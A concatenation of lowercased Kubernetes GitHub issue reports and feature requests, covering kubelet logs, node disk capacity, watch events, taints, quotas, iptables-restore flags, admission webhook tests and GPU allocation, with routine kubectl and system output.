x86_64 x86_64 gnu/linux \r - install tools: n/a\r - others: n/a\r

i config kubelet with kube_logtostderr=\ --logtostderr=false --log-dir=/var/log/kubelet\ , so kubelet log output to /var/log/kubelet。but i found that there is no method to clean kubelet log, so i add logrotate config for kubelet like this:\r /var/log/kubelet/ .log.  {\r     rotate 7\r     copytruncate\r     missingok\r     notifempty\r     delaycompress\r     maxsize 100m\r     daily\r     create 0644 root root\r }\r \r but it seeems no use to clean kubelet log, kubelet log stiil output everyday like this:\r ! f iexg8kj9z q w12 l8ky  https://user-images.githubusercontent.com/18571465/45912155-ac776600-be4f-11e8-93f4-0db17a995c0f.png \r \r so how can i set kubelet log periodic cleaning, kubernetes version is 1.10.4, thank you !\r

some requirements: - pods that need to reach the apiserver need to know where it is.   - the method should support multiple apiservers. - the client needs to know what name to expect on the cert that the master presents. - the client needs to know what root cas it trusts for the master's cert when setting up tls with the master. - the client needs to know what root cas it trusts when establishing tls with external services, like cloud.google.com, github.com, etc.  some master discovery options: - static list of master ips    - doing that in  7055 - via a kubernetes serviceip - via dns   - requires that all k8s distros have a way to put the kubernetes service into dns.    how do pods get root certs to verify identity of external remote service: - use node os root certs, like in  6916?   - use container image root certs  should gcr.io provide a curated base image with trusted root certs, like https://registry.hub.docker.com/u/centurylink/ca-certs/  - assume people use a os distro with root certs as their base image  how do pods get root cert to verify identity of self-signed cert on master?

test should fail after some time, and should not block other tests.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : juju\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r   description  :\r \r kubernetes can consume openstack cinder volumes:\r https://kubernetes.io/docs/concepts/storage/persistent-volumes/ openstack-cinder\r \r but currently there is no way to configure it when kubernetes is deployed using juju charms.\r \r could you please add support for configuring openstack cinder volumes to the juju charms?

as an example those jobs:\r https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gke-reboot-release-1-7\r https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gke-slow-release-1-7\r https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gke-serial-release-1-7\r \r @abgworrall @dchen1107 @mtaufen - can you please triage? this will block the 1.7.3 cut.

\r name        status      roles        age         version\r master      ready         master         3h           v1.8.1\r node1       ready         <none>       3h           v1.8.1\r node2       ready         <none>       3h           v1.8.1\r \r root@master:~/yml/1  kubectl get service\r name              type        cluster-ip    external-ip   port s           age\r kubernetes        clusterip   10.96.0.1     <none>        443/tcp          3h\r my-service-name   nodeport    10.98.25.69   <none>        8080:30373/tcp   3m\r \r \r i just wonder this, 'kubectl describe nodes | grep addr'\r as a result,\r \r root@master:~/yml/1  kubectl describe nodes | grep addr\r addresses:\r addresses:\r addresses:\r is there no ip of kubernetes node?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r disk capacity on worker node is not correctly monitored:\r \r    \r $ kubectl describe no khw-w1\r name:               khw-w1\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=khw-w1\r annotations:        flannel.alpha.coreos.com/backend-data={\ vtepmac\ :\ ba:1b:1f:13:65:d6\ }\r                     flannel.alpha.coreos.com/backend-type=vxlan\r                     flannel.alpha.coreos.com/kube-subnet-manager=true\r                     flannel.alpha.coreos.com/public-ip=192.168.1.231\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  tue, 26 dec 2017 00:05:56 +0100\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   tue, 26 dec 2017 01:36:46 +0100   tue, 26 dec 2017 00:05:56 +0100   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   tue, 26 dec 2017 01:36:46 +0100   tue, 26 dec 2017 01:05:13 +0100   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   tue, 26 dec 2017 01:36:46 +0100   tue, 26 dec 2017 01:05:13 +0100   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready            true    tue, 26 dec 2017 01:36:46 +0100   tue, 26 dec 2017 01:05:13 +0100   kubeletready                 kubelet is posting ready status. apparmor enabled\r addresses:\r   internalip:  192.168.1.231\r   hostname:    khw-w1\r capacity:\r  cpu:     1\r  memory:  2048380ki\r  pods:    110\r allocatable:\r  cpu:     1\r  memory:  1945980ki\r  pods:    110\r system info:\r  machine id:                 d093bfc8a8d49ce2453d29225a3edb02\r  system uuid:                51abbae6-cf1c-4508-8cb7-4a77bf012412\r  boot id:                    783f9df2-b8cc-431b-8cb6-e12042b6eee8\r  kernel version:             4.4.0-62-generic\r  os image:                   ubuntu 16.04.3 lts\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  cri-containerd://1.0.0-beta.0\r  kubelet version:            v1.9.0\r  kube-proxy version:         v1.9.0\r podcidr:                     10.200.0.0/24\r externalid:                  khw-w1\r non-terminated pods:          3 in total \r   namespace                  name                        cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                        ------------  ----------  ---------------  -------------\r   default                    busybox-855686df5d-5k6t2    0  0%         0  0%       0  0%            0  0% \r   default                    nginx-8586cf59-pdsc6        0  0%         0  0%       0  0%            0  0% \r   kube-system                kube-flannel-ds-rtzsk       100m  10%     100m  10%   50mi  2%         50mi  2% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits  memory requests  memory limits\r   ------------  ----------  ---------------  -------------\r   100m  10%     100m  10%   50mi  2%         50mi  2% \r events:\r   type     reason                   age                from                message\r   ----     ------                   ----               ----                -------\r   warning  invaliddiskcapacity      35m  x12 over 1h   kubelet, khw-w1     invalid capacity 0 on image filesystem\r   warning  imagegcfailed            35m  x11 over 1h   kubelet, khw-w1     invalid capacity 0 on image filesystem\r   normal   starting                 31m                kube-proxy, khw-w1  starting kube-proxy.\r   normal   starting                 31m                kubelet, khw-w1     starting kubelet.\r   normal   nodehassufficientdisk    31m  x2 over 31m   kubelet, khw-w1     node khw-w1 status is now: nodehassufficientdisk\r   normal   nodehassufficientmemory  31m  x3 over 31m   kubelet, khw-w1     node khw-w1 status is now: nodehassufficientmemory\r   normal   nodehasnodiskpressure    31m  x3 over 31m   kubelet, khw-w1     node khw-w1 status is now: nodehasnodiskpressure\r   normal   nodeallocatableenforced  31m                kubelet, khw-w1     updated node allocatable limit across pods\r   warning  rebooted                 31m                kubelet, khw-w1     node khw-w1 has been rebooted, boot id: 783f9df2-b8cc-431b-8cb6-e12042b6eee8\r   normal   nodeready                31m                kubelet, khw-w1     node khw-w1 status is now: nodeready\r   warning  invaliddiskcapacity      1m  x7 over 31m    kubelet, khw-w1     invalid capacity 0 on image filesystem\r   warning  imagegcfailed            1m  x6 over 26m    kubelet, khw-w1     invalid capacity 0 on image filesystem\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i've followed kubernetes-the-hard-way installation, but performed on-premise on ubuntu 16.04 kvm.\r \r   anything else we need to know?  :\r \r logs from the kubelet:\r \r    \r dec 26 01:35:43 khw-w2 kubelet 1583 : e1226 01:35:43.732349    1583 cri_stats_provider.go:219  failed to get the info of the filesystem with id \ 85683805-7fc4-423b-a241-2d89328a4411\ : cannot find device \ /dev/dm-0\  in partitions.\r dec 26 01:35:43 khw-w2 kubelet 1583 : e1226 01:35:43.733146    1583 kubelet.go:1271  image garbage collection failed multiple times in a row: invalid capacity 0 on image filesystem\r    \r \r filesystems:\r \r    \r $ df -h\r filesystem                          size  used avail use% mounted on\r udev                                981m     0  981m   0% /dev\r tmpfs                               201m  5.8m  195m   3% /run\r /dev/mapper/khw--template--vg-root   23g  2.2g   19g  11% /\r tmpfs                              1001m     0 1001m   0% /dev/shm\r tmpfs                               5.0m     0  5.0m   0% /run/lock\r tmpfs                              1001m     0 1001m   0% /sys/fs/cgroup\r /dev/vda1                           472m   58m  391m  13% /boot\r shm                                  64m     0   64m   0% /var/lib/cri-containerd/sandboxes/a48db1e634e57c7d47df572c0069f3dcb26a8233aca3ac1eaac50a642949c57f/shm\r overlay                              23g  2.2g   19g  11% /run/containerd/io.containerd.runtime.v1.linux/k8s.io/a48db1e634e57c7d47df572c0069f3dcb26a8233aca3ac1eaac50a642949c57f/rootfs\r overlay                              23g  2.2g   19g  11% /run/containerd/io.containerd.runtime.v1.linux/k8s.io/80d0e641c1e2232ceabd91cc241a570e78ed63dfd5d79a205592ecfd286b4c36/rootfs\r tmpfs                               201m     0  201m   0% /run/user/1000\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t19:12:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: kvm\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux khw-w2 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: manually\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r watch clients get delete-type events in which the contained object has the resourceversion of its last create/update, rather than the resourceversion that is current as of the delete.\r \r this is a performance problem for reflectors, which keep track of the resourceversion using the received objects; if a watch should happen to end and get restarted after a delete, the reflector will restart from a  potentially very  old resourceversion.\r \r here is a demonstration.  in one shell start a watch on configmaps:\r    \r kubectl get configmaps -n foo -w -o json\r    \r \r in another shell make some configmaps, confirm the oldest has not changed, and then delete the first one:\r    \r kubectl create configmap -n foo a --from-literal=a=1\r configmap \ a\  created\r kubectl create configmap -n foo b --from-literal=b=1\r configmap \ b\  created\r kubectl create configmap -n foo c --from-literal=c=1\r configmap \ c\  created\r kubectl delete configmap a -n foo\r configmap \ a\  deleted\r    \r \r back in the first shell, observe that the delete reported the old resourceversion:\r    \r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ a\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/a\ ,\ uid\ :\ 239166eb-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2181459\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:19z\ },\ data\ :{\ a\ :\ 1\ }}}\r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2181471\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ 1\ }}}\r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ c\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/c\ ,\ uid\ :\ 2bca456f-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2181487\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:33z\ },\ data\ :{\ c\ :\ 1\ }}}\r {\ type\ :\ deleted\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ a\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/a\ ,\ uid\ :\ 239166eb-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2181459\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:19z\ },\ data\ :{\ a\ :\ 1\ }}}\r    \r \r   what you expected to happen  :\r i am told that the deleted event should carry a more recent resourceversion.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see the demonstration above.\r \r   anything else we need to know?  :\r my kube apiserver is configured with  --storage-backend=etcd3 \r my etcd server is a docker container running the  quay.io/coreos/etcd:v3.2.4  image.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: local hardware\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux n17s2ctrl 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: local\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r some pods are getting schedules on nodes even though there is a noschedule taint\r \r   what you expected to happen  :\r \r i expect pods to not be scheduled on that node unless they have the matching toleration.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:50:45z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:50:45z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts  xenial xerus  \r - kernel  e.g.  uname -a  :  linux kube-master-1 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubespray\r - others:\r    \r $ kubectl describe node kube-master-1\r name:               kube-master-1\r roles:              master\r taints:             node-role.kubernetes.io/master:noschedule\r system info:\r  kubelet version:            v1.9.5\r  kube-proxy version:         v1.9.5\r    \r    \r $ kubectl describe pod mypod\r node:           kube-master-1/10.x.y.z\r node-selectors:  <none>\r tolerations:     <none>\r    \r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r > \r >  \r \r   what happened  :\r i wish to change below listed quota hard limit from 08 to 10. couldn't find a kubectl flag to update existing quota. i was able to update the same via quota manifest file. what is the recommended way to modify/update resourcequota's?\r \r kubectl describe resourcequota foobar\r name: foobar\r namespace: default\r resource     used     hard\r --------         ----         ----\r pods             7             8 \r \r   what you expected to happen  :\r something like,\r kubectl edit quota foobar --hard pods=10\r \r if command line update of quota is not supported, update this information in webpage https://kubernetes.io/docs/concepts/policy/resource-quotas/\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create resourcequota qspidey --hard pods=5\r \r next, try to increase the number of pods to 10\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r - kernel  e.g.  uname -a  :\r linux kube-head 4.15.0-20-generic  21-ubuntu smp tue apr 24 06:16:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

there are couple of outstanding items from https://github.com/kubernetes/kubernetes/pull/67731\r \r 1. add more tests for cache invalidation and volume limit registration.\r 2. make sure that volume limit addition is behind the feature gate.\r \r \r  /assign\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r specified an extended resource on node a as follows:-\r    \r   allocatable:\r     mydomain.net/my-resource: \ 25\ \r   capacity:\r     mydomain.net/my-resource: \ 25\ \r    \r  created a deployment requesting the resource as follows:-\r    \r  resources:\r             limits:\r               mydomain.net/my-resource: \ 1\ \r             requests:\r               mydomain.net/my-resource: \ 1\ \r    \r pod gets scheduled on node a but fails with the following error:-\r \r    \r ...\r nodename: a\r status:\r   message: 'pod node didn't have enough resource: mydomain.net/my-resource, requested:\r     1, used: 0, capacity: 0'\r   phase: failed\r   reason: outofmydomain.net/my-resource\r    \r \r   what you expected to happen  :\r  i expected the pod to remain pending when the node was out of extend resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this happens sometimes and not always, but eventually the pod get scheduled\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: centos, baremetal\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r services fail to create iptables rules and errors with\r \r >  iptables-restore: invalid option -- '5' \r \r   what you expected to happen  :\r \r iptables-restore  should complete and add nat rules for services\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install centos 7.6. and kubernetes and try to enable a load balanced service\r \r   anything else we need to know?  :\r \r -w switch is not and has never been valid switch should be --wait=5\r \r  > iptables-restore --help \r \r    \r usage: iptables-restore  -b   -c   -v   -v    -t   -h   -w usecs \r              --binary  \r              --counters  \r              --verbose  \r              --version \r              --test  \r              --help  \r              --noflush  \r              --wait=<seconds>\r              --wait-interval=<usecs>\r              --table=<table>  \r              --modprobe=<command> \r    \r \r  >   iptables-restore -v \r \r  iptables-restore v1.4.21 \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r base metal\r - os  e.g. from /etc/os-release :\r centos linux release 7.6.1810  core \r - kernel  e.g.  uname -a  :\r 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 29 14:49:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r \r   extended explanation  :\r \r based on the comments i made on https://github.com/kubernetes/kubernetes/issues/58956 \r \r this is now potentially a larger issue with release of centos 7.6 and rhel 7.6 as it now a blocking error it seems due to a fix by rhel  bug 1465078  https://bugzilla.redhat.com/show_bug.cgi?id=1465078 \r \r this also impacts updated el 7.5 as below\r \r    \r   cat /etc/redhat-release\r \r centos linux release 7.5.1804  core \r \r yum list iptables\r installed packages\r iptables.x86_64                                                             1.4.21-24.1.el7_5\r \r     iptables-restore -w5\r iptables-restore: invalid option -- '5'\r    \r \r so in iptables-1.4.21-24.1.el7 the flag is invalid but the restore goes ahead with an error\r \r but in iptables1.4.21-28.el7\r \r    \r yum update iptables\r \r yum list installed iptables\r \r installed packages\r iptables.x86_64                                                                1.4.21-28.el7\r \r \r iptables-restore -w5\r iptables-restore: invalid option -- '5'\r try  iptables-restore -h' for more information.\r    \r \r we now have a blocking error and the restore fails meaning the iptables rules do not apply or update correctly and kubernetes services do not nat correctly\r \r \r \r \r <!-- do not edit below this line -->\r 

there are 3 ways to provide connectivity to the kubernetes api service. - --master=string :: used by the proxy, scheduler, controller-manager - --api_servers=list :: used by the kubelet - --server=string :: used by the kubectl cli  there are two inconsistencies here, 1. the way to pass the information in varies across services and cli 2. the semantics are different  string - the contact, list - a contact   my proposal is that these differences be simplified to a single --master=list used by all processes and the cli. this will consolidate the naming as well as provide connectivity for a scale-out api service.  i hope at least the name consolidation is uncontroversial.  i'm looking for some agreement on this direction before submitting any changes.

https://github.com/kubernetes/kubernetes/pull/76849 added integration testing of admission webhooks, both validating and mutating.\r \r it tests all resources/subresources/verbs found via discovery, with the exception of some resources that require special setup or testing, or which are not sent to admission today.\r \r as part of completing webhook admission, we should resolve the todos in that test: \r \r https://github.com/kubernetes/kubernetes/blob/aa11d0edef0d73afaf1c54f8ec37c6a11a1e4891/test/integration/apiserver/admissionwebhook/admission_test.go l100-l125\r \r -  x  non-persisted review objects - @sbezverk - https://github.com/kubernetes/kubernetes/pull/76959\r   - add custom test functions that ensure those api objects can be submitted and work properly with admission webhooks registered for   /  \r   - if these are sent to mutating webhooks but not validating, that's a bug we should fix in the same pr we add tests\r -  x  resources we know should  not  be sent to webhooks  mutatingwebhookconfigurations, validatingwebhookconfigurations  - @sbezverk -  76911\r   - update the admission result holder object to be able to register and validate an expectation that a particular gvk  not  be recorded\r   - add custom test functions for create/update/patch/delete/deletecollection that replicate  testresource{create,update,patch,delete,deletecollection}  but register an expectation that the webhook not be called\r -  x  resources that require special setup -  pods/binding ,  binding  - @liggitt - https://github.com/kubernetes/kubernetes/pull/76910\r   - figure out what state the pod api object needs to be in to allow the rest handler to progress to the point of calling admission\r   - submit a binding or eviction object  or subresource  request\r   - ensure admission is called\r -  x  resources that require special setup -  pods/{exec,attach,portforward}  - @liggitt - https://github.com/kubernetes/kubernetes/pull/76910\r   - create a parent resource with enough state to allow a proxy subresource call to hit admission\r   - ignore a failure calling the api  since we don't have backing node/pods/services in integration tests , but ensure admission is called\r -  x  resources that require special setup -   /proxy  - @liggitt - https://github.com/kubernetes/kubernetes/pull/76910\r   - create a parent resource with enough state to allow a proxy subresource call to hit admission\r   - ignore a failure calling the api  since we don't have backing node/pods/services in integration tests , but ensure admission is called\r \r /cc @sbezverk

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r reach inside  vpc a nodeport service type with a dns name .. that load balancer between pods on different nodes\r \r \r \r   why is this needed  :\r avoid billings costs on data transfer of internal load balancers

i am facing issues in creating a pvc in a different namespace and attaching it to pv.

follow-on item from  29409   since this feature can request allocation of nodeports, it needs to add in a call to check for quota before allocation  either during create or update of the service .

instead of forcing users to list all the pods they're interested in and then ask for all the events for all those pods, apiserver should accept a label query directly.  the easiest way to do this is for apiserver to store the labels in the involvedobject section of events, but that's going to consume a lot of space.

the current k8s scheduler extender interface is very verbose on the wire. kube-scheduler sends node information of all candidate nodes along with pod spec. the node details are very verbose and take up a lot of bandwidth  esp. if the extender is not running on the same node as kube-scheduler . for a cluster with 100s of nodes, this becomes very cpu intensive to reassemble the tcp payload. the current interface assumes that the extender is completely stateless and sends all the information. however, extenders are more likely to have their own node cache to track all available and allocated resources  outside of what k8s manages  of each node. a backward compatible way of providing this enhancement is needed to optimize the information sent to scheduler extenders. instead of sending all the node information, sending node name should be enough in this case. a new knob in the extender config is needed to tell kube-scheduler that the extender has capability of caching nodes.\r \r i have some changes, i can send out for review.\r \r cc @ravigadde

we found a bug about gpu allocation failed with upstream code. \r if the container with gpu in a  pod  dead and restart, the gpu is still occupied by the old container so that the new container can not get gpu anymore. you can replay the bug by the script below:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: gpu\r   labels:\r     name: gpu\r spec:\r   containers:\r   - name: gpu\r     image: nvidia/cuda:jian\r     command:  \ /bin/sh\ , \ -c\  \r     args:  \ sleep 10\  \r     resources:\r       limits:\r         cpu: 0.5\r         memory: 128mi\r         alpha.kubernetes.io/nvidia-gpu: 4\r     ports:\r     - containerport: 6379 \r    \r after we created the pod, we can see the output as below:\r    \r root@slave2:/home/zhangjian/testk8s  kubectl get pods\r name      ready     status    restarts   age\r gpu       1/1       running   0          7s\r root@slave2:/home/zhangjian/testk8s  kubectl get pods\r name      ready     status      restarts   age\r gpu       0/1       completed   0          20s\r root@slave2:/home/zhangjian/testk8s  kubectl get pods\r name      ready     status                                                             restarts   age\r gpu       0/1       requested number of gpus unavailable. requested: 4, available: 0   0          36s\r    \r after container completed,  pod  try to restart a new container. but the new container can not get gpu because gpu is still unreleased by the fisrt container. depolyment and rc controller have the same problem.

kubectl run --dry-run  doesn't work and returns error.  see bellow. \r \r it seems to be caused by printers. they can't print multi-versioned objects. this exact issue is with  deployments .\r  - there is a  printer handler  ttps://github.com/tnozicka/kubernetes/blob/348bf1e03206385de8f6111bf7d166d3769ed63d/pkg/printers/internalversion/printers.go l1653-l1653  for type   extensions.deployment \r  - with other command like get it works because the try to print object of type   extensions.deployment \r  - with  kubectl run  you get an object of type   v1beta1.deployment  from a  generator  https://github.com/tnozicka/kubernetes/blob/0b8e25cdbf6fc336b2ba8aad1e08ec0829b9d5c6/pkg/kubectl/run.go l193-l193 \r  -  humanreadableprinter  https://github.com/tnozicka/kubernetes/blob/b1abedbc6434b2c096faeed8b8478710b999593e/pkg/printers/humanreadable.go l62  fails to find such handler because the types don't match at https://github.com/tnozicka/kubernetes/blob/b1abedbc6434b2c096faeed8b8478710b999593e/pkg/printers/humanreadable.go l303\r \r should we define a new printer handler for every such type or do some conversion before printing the object?\r \r      current result\r    \r $kubectl run mysql --image=mysql --dry-run\r \r error: unknown type  v1beta1.deployment, expected unstructured in map reflect.type  printers.handlerentry{  reflect.rtype  0x200a560 :  printers.handlerentry  0xc420504910 ,   reflect.rtype  0x1f09da0 :  printers.handlerentry  0xc4205056d0 ,   reflect.rtype  0x200e700 :  printers.handlerentry  0xc4205059f0 ,   reflect.rtype  0x2010680 :  printers.handlerentry  0xc4208b9590 ,   reflect.rtype  0x2010e60 :  printers.handlerentry  0xc4208b9c20 ,   reflect.rtype  0x2010bc0 :  printers.handlerentry  0xc4208b9d60 ,   reflect.rtype  0x1f0b0e0 :  printers.handlerentry  0xc420504cd0 ,   reflect.rtype  0x1f0a660 :  printers.handlerentry  0xc420505450 ,   reflect.rtype  0x2009840 :  printers.handlerentry  0xc4208b8050 ,   reflect.rtype  0x1f09cc0 :  printers.handlerentry  0xc4208b85f0 ,   reflect.rtype  0x1f09780 :  printers.handlerentry  0xc4208b8870 ,   reflect.rtype  0x1f0a900 :  printers.handlerentry  0xc4208b8c30 ,   reflect.rtype  0x1f09860 :  printers.handlerentry  0xc420504870 ,   reflect.rtype  0x1f09160 :  printers.handlerentry  0xc420505d10 ,   reflect.rtype  0x1f095c0 :  printers.handlerentry  0xc420505e50 ,   reflect.rtype  0x1f09240 :  printers.handlerentry  0xc420505f90 ,   reflect.rtype  0x1f09320 :  printers.handlerentry  0xc4208b80f0 ,   reflect.rtype  0x200ba60 :  printers.handlerentry  0xc4208b8550 ,   reflect.rtype  0x1f08fa0 :  printers.handlerentry  0xc4208b89b0 ,   reflect.rtype  0x2010140 :  printers.handlerentry  0xc4208b9810 ,   reflect.rtype  0x1f0b1c0 :  printers.handlerentry  0xc4208b99f0 ,   reflect.rtype  0x200d9e0 :  printers.handlerentry  0xc420505360 ,   reflect.rtype  0x1f0a200 :  printers.handlerentry  0xc420505bd0 ,   reflect.rtype  0x2009300 :  printers.handlerentry  0xc420505c70 